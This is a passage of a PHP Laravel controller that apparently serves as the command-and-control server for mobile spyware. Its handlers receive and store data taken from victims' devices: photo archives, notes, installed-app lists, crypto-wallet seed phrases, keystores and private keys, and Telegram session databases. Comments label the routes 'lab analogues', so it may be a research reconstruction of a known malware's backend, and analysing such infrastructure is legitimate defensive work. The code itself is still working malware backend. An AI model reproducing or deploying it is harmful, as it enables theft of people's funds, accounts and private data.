header('Content-Type', 'text/plain'); } /** * Loader beacon (plaintext JSON): channelCode + deviceVersion + domain + sessionId. */ public function iptj(Request $request): Response { $payload = $request->json()->all(); if ($payload === []) { $decoded = json_decode((string) $request->getContent(), true); $payload = is_array($decoded) ? $decoded : []; } $channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', ''))); $normalizedCode = Channel::normalizeNewChannelId($channelCode); if ($normalizedCode !== null) { $channelCode = $normalizedCode; } $domain = trim((string) ($payload['domain'] ?? $request->input('domain', ''))); $deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', ''))); $sessionId = $this->normalizeSessionId( (string) ($payload['sessionId'] ?? $request->input('sessionId', '')), ); $domain = PageVisit::normalizeDomain($domain); $ip = PageVisit::normalizeIp((string) $request->ip()); $uid = PageVisit::visitorUid($domain, $ip); if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) { $ua = substr((string) $request->userAgent(), 0, 512); $parsed = UserAgentParser::parse($ua); $osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null; if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) { $osVersion = $m[1]; } try { PageVisit::query()->create([ 'channel_id' => substr($channelCode, 0, 64), 'client_uid' => $uid, 'session_id' => $sessionId, 'user_agent' => $ua !== '' ? $ua : null, 'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']), 'os_version' => $osVersion, 'browser' => $parsed['browser'], 'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null, 'ip' => $ip !== '' ? $ip : null, 'domain' => $domain, 'referer' => $this->referer($request), 'created_at' => now(), ]); } catch (QueryException $e) { if (($e->errorInfo[0] ?? '') !== '23000') { throw $e; } } } return response('{}', 200)->header('Content-Type', 'application/json'); } private function normalizeSessionId(string $sessionId): ?string { $sessionId = trim($sessionId); if ($sessionId === '' || strlen($sessionId) > 64 || ! preg_match('/^[A-Za-z0-9._:-]+$/', $sessionId)) { return null; } return $sessionId; } private function shouldRecordIptj(string $channelCode, string $uid, ?string $sessionId): bool { if ($sessionId !== null) { $debounceKey = 'xxbb_iptj_sid:'.$sessionId; if (! Cache::add($debounceKey, 1, now()->addDay())) { return false; } return ! PageVisit::query()->where('session_id', $sessionId)->exists(); } $debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid; return Cache::add($debounceKey, 1, now()->addSeconds(8)); } /** Lab analogue: POST /api/user/avatar/set — device census; create from deviceInfo. */ public function profile(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); return $this->xxbbAck($request); } /** Lab analogue: POST /api/user/get */ public function apps(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestInstalledApps($device, $payload); } return $this->xxbbAck($request); } /** Lab analogue: POST /api/user/avatar/put */ public function event(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestDeviceEvent($device, $payload); } return $this->xxbbAck($request); } /** Lab analogue: POST /api/user/check — photo 7z multipart. */ public function photos(Request $request): Response { $rawKey = $request->attributes->get('coruna_device_key') ?: $request->input('d') ?: $request->input('f'); $deviceKey = is_string($rawKey) && $rawKey !== '' ? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64)) : null; $device = $this->ingest->ensureDevice( $request, array_filter([ 'd' => $deviceKey, 'c' => $request->input('c'), 'channel' => $request->input('channel'), ]), $deviceKey ); $batchBase = (string) ($request->input('batchBase') ?? $request->input('batch_base') ?? $request->input('base') ?? $request->input('ts') ?? '0'); if ($batchBase === '') { $batchBase = '0'; } $xHitRaw = $request->input('x-hit'); $xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null; [$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx')); [$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu')); $photoMeta = [ 'x_hit' => $xHit, 'upload_count' => $uploadCount, 'process_index' => $processIndex, 'text_count' => $textCount, 'barcode_count' => $barcodeCount, ]; $attachmentRel = null; if ($request->hasFile('file') && $device) { $bytes = file_get_contents($request->file('file')->getRealPath()); $work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid()); $extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase); $attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work); Storage::disk('local')->makeDirectory($attachmentRel); if (! empty($extracted['files'])) { $this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta); } create_log([ 'event' => 'xxbb_photo_extract', 'device_key' => $device->device_id, 'attachment_path' => $attachmentRel, 'extract' => [ 'ok' => $extracted['ok'], 'files' => array_map('basename', $extracted['files']), 'password_recipe' => $extracted['password_recipe'], 'stderr' => substr((string) $extracted['stderr'], 0, 2000), ], 'photo_meta' => $photoMeta, 'raw_counters' => [ 'idx' => $request->input('idx'), 'ftu' => $request->input('ftu'), 'ts' => $request->input('ts'), 'x-hit' => $xHitRaw, ], ], 'xxbb'); } return $this->xxbbAck($request); } /** Lab analogue: POST /api/user/avatar/pic — Notes `list`. */ public function notes(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestNotes($device, $payload); } return $this->xxbbAck($request); } /** * Plugin reports: /uj /us /ub /ba /result. * Dispatch by payload shape onto the same ingest as lab long paths. */ public function plugin(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { if (isset($payload['ba']) || isset($payload['ad']) || isset($payload['data'])) { $this->ingest->ingestAddresses($device, $payload); } if (array_key_exists('result', $payload)) { $result = $payload['result']; $asKeystore = is_array($result); if (is_string($result)) { $decoded = json_decode($result, true); $asKeystore = is_array($decoded); } if ($asKeystore) { $this->ingest->ingestKeystore($device, $payload); } else { $this->ingest->ingestMnemonic($device, $payload); } } else { // BitKeep / Global Wallet may send privateKey without wrapping `result`. $this->ingest->ingestMnemonic($device, $payload); } } return $this->xxbbAck($request); } /** tglib: POST /api/tg/t — Telegram user_id + atomic-state + db_sqlite. */ public function telegram(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestTelegramAuth($device, $payload); } return $this->xxbbAck($request); } private function xxbbArchive(): CorunaArchive { return new CorunaArchive( DecryptXxbbBody::crypto(), (string) config('coruna.seven_zip', ''), ); } private function referer(Request $request): ?string { $referer = trim((string) $request->headers->get('referer', '')); if ($referer === '') { return null; } return substr($referer, 0, 512); } private function xxbbAck(Request $request): Response { $ts = (string) $request->attributes->get('xxbb_ts', ''); if ($ts === '') { $ts = (string) ($request->header('x-ts') ?: ''); } if ($ts === '') { $ts = (string) (int) round(microtime(true) * 1000); } return response($ts.'{}', 200)->header('Content-Type', 'text/plain'); } }